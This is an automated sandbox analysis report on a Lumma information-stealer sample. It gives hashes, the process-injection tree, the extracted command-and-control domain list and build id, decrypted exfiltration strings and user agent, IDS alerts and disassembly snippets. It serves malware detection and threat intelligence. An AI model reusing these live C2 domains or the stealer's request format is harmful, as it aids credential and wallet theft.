Edit tour

Windows Analysis Report
3ZD5tEC5DH.exe

Overview

General Information

Sample name:	3ZD5tEC5DH.exe renamed because original name is a hash value
Original sample name:	149131a90f99225e6c7e28a06164dd9a.exe
Analysis ID:	1519286
MD5:	149131a90f99225e6c7e28a06164dd9a
SHA1:	f9d0e7ae3bed79498bf4da92c0ef9568d4e5595e
SHA256:	6b176bab868dc372496ab3c6ce97518d276c17143f77ae15c992970c1efdf21f
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

3ZD5tEC5DH.exe (PID: 404 cmdline: "C:\Users\user\Desktop\3ZD5tEC5DH.exe" MD5: 149131A90F99225E6C7E28A06164DD9A)

conhost.exe (PID: 972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5396 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["offensivedzvju.shop", "gutterydhowi.shop", "stogeneratmns.shop", "lootebarrkeyn.shop", "vozmeatillu.shop", "ghostreedmnu.shop", "drawzhotdog.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "FATE99--"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:37.940927+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49710	104.21.4.136	443	TCP
2024-09-26T09:58:38.867301+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-09-26T09:58:39.963391+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	188.114.96.3	443	TCP
2024-09-26T09:58:40.955377+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49714	188.114.96.3	443	TCP
2024-09-26T09:58:41.923134+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49715	172.67.162.108	443	TCP
2024-09-26T09:58:42.899946+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49716	188.114.96.3	443	TCP
2024-09-26T09:58:43.844049+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49717	188.114.96.3	443	TCP
2024-09-26T09:58:44.808684+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49718	172.67.208.139	443	TCP
2024-09-26T09:58:47.045311+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49720	172.67.189.2	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:37.940927+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49710	104.21.4.136	443	TCP
2024-09-26T09:58:38.867301+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-09-26T09:58:39.963391+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49713	188.114.96.3	443	TCP
2024-09-26T09:58:40.955377+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49714	188.114.96.3	443	TCP
2024-09-26T09:58:41.923134+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49715	172.67.162.108	443	TCP
2024-09-26T09:58:42.899946+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49716	188.114.96.3	443	TCP
2024-09-26T09:58:43.844049+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49717	188.114.96.3	443	TCP
2024-09-26T09:58:44.808684+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49718	172.67.208.139	443	TCP
2024-09-26T09:58:47.045311+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49720	172.67.189.2	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:41.445111+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.6	49715	172.67.162.108	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:42.419788+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.6	49716	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:38.424964+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:37.420292+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.21.4.136	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:39.502747+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:44.319186+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.6	49718	172.67.208.139	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:43.400411+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.6	49717	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:40.443849+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.6	49714	188.114.96.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:40.957085+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.6	58108	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:41.924937+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.6	65346	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:37.948460+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.6	62281	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:36.830747+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.6	59886	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:36.812587+0200	2056048	1	Domain Observed Used for C2 Detected	192.168.2.6	52018	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:38.871156+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.6	63504	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:43.845719+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.6	55477	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:42.902228+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.6	65127	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:58:39.967673+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.6	50739	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/badges	URL Reputation: Label: malware
Source: lootebarrkeyn.shop	Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api	Avira URL Cloud: Label: malware
Source: stogeneratmns.shop	Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/api	Avira URL Cloud: Label: malware
Source: reinforcenh.shop	Avira URL Cloud: Label: malware
Source: https://performenj.shop/6&	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/d&	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/&-7	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/W	Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/	Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop	Avira URL Cloud: Label: malware
Source: https://ghostreedmnu.shop/	Avira URL Cloud: Label: malware
Source: https://performenj.shop/pi	Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/apiO	Avira URL Cloud: Label: malware
Source: https://performenj.shop/	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/api	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api	Avira URL Cloud: Label: malware
Source: gutterydhowi.shop	Avira URL Cloud: Label: malware
Source: https://ghostreedmnu.shop/api	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api	Avira URL Cloud: Label: malware
Source: fragnantbui.shop	Avira URL Cloud: Label: malware
Source: offensivedzvju.shop	Avira URL Cloud: Label: malware
Source: https://fragnantbui.shop/api	Avira URL Cloud: Label: malware
Source: drawzhotdog.shop	Avira URL Cloud: Label: malware
Source: https://performenj.shop/apit	Avira URL Cloud: Label: malware
Source: https://performenj.shop/api	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/apiJ	Avira URL Cloud: Label: malware
Source: vozmeatillu.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 3.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["offensivedzvju.shop", "gutterydhowi.shop", "stogeneratmns.shop", "lootebarrkeyn.shop", "vozmeatillu.shop", "ghostreedmnu.shop", "drawzhotdog.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "FATE99--"}

Multi AV Scanner detection for submitted file

Source: 3ZD5tEC5DH.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: reinforcenh.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stogeneratmns.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: fragnantbui.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: drawzhotdog.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: vozmeatillu.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: offensivedzvju.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: ghostreedmnu.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: gutterydhowi.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lootebarrkeyn.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: FATE99--

Source: 3ZD5tEC5DH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.6:49720 version: TLS 1.2

Source: 3ZD5tEC5DH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	3_2_00447600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0044A7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	3_2_0040FEBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	3_2_0040EFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000120h]	3_2_0040EFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push ebx	3_2_00415078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+34h]	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	3_2_004450E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [eax+esi]	3_2_00407120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042A274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	3_2_0042A274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040D2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042A2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	3_2_0042A2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_00442280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	3_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_00431370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	3_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, eax	3_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh	3_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	3_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	3_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00424490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	3_2_004204A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_004204A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, esi	3_2_0042D56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_0043B510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000006A8h]	3_2_0041E52C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, esi	3_2_0042D58E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0042F5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_004146B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	3_2_0040F7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	3_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_0041A880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp al, 2Eh	3_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	3_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	3_2_00444970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	3_2_004489F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00434A2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	3_2_00445AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, ecx	3_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	3_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0042BB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	3_2_00427B0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00430BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	3_2_00448BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	3_2_0044AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_00404C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00426CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add edi, 02h	3_2_0041DD64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebx]	3_2_0041DD64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	3_2_00405D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00434DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_00445D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	3_2_0044AD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00449E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	3_2_00414E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	3_2_00414E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_00447EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0044AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	3_2_0044AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00426F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	3_2_0041CFF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.6:63504 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.6:62281 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056048 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop) : 192.168.2.6:52018 -> 1.1.1.1:53
